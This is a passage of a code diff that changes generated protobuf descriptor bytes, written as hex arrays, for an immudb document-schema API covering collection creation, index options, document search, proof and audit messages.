0x61, 0x74, 0x65, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, + 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xbc, 0x01, 0x0a, 0x0a, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3b, 0x0a, 0x0a, 0x6e, 0x75, 0x6c, + 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x09, 0x6e, 0x75, 0x6c, + 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, + 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x0b, + 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x73, + 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x95, 0x01, 0x0a, 0x0d, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x66, + 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, + 0x64, 0x12, 0x40, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, + 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x22, 0xa1, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x05, 0x71, + 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, + 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x4b, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x73, 0x22, 0xb6, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, + 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, + 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, + 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x54, 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, + 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, + 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x73, 0x22, 0x86, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, + 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x5f, 0x0a, 0x0b, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, + 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x72, 0x65, 0x6d, - 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, 0x61, 0x0a, 0x0f, 0x41, 0x64, - 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, - 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, + 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, + 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, + 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, + 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, + 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x72, 0x0a, 0x19, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, - 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x64, 0x0a, 0x1a, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, - 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x74, - 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x22, 0xb2, 0x01, 0x0a, 0x1f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x46, 0x69, - 0x6e, 0x64, 0x4f, 0x6e, 0x65, 0x41, 0x6e, 0x64, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, - 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 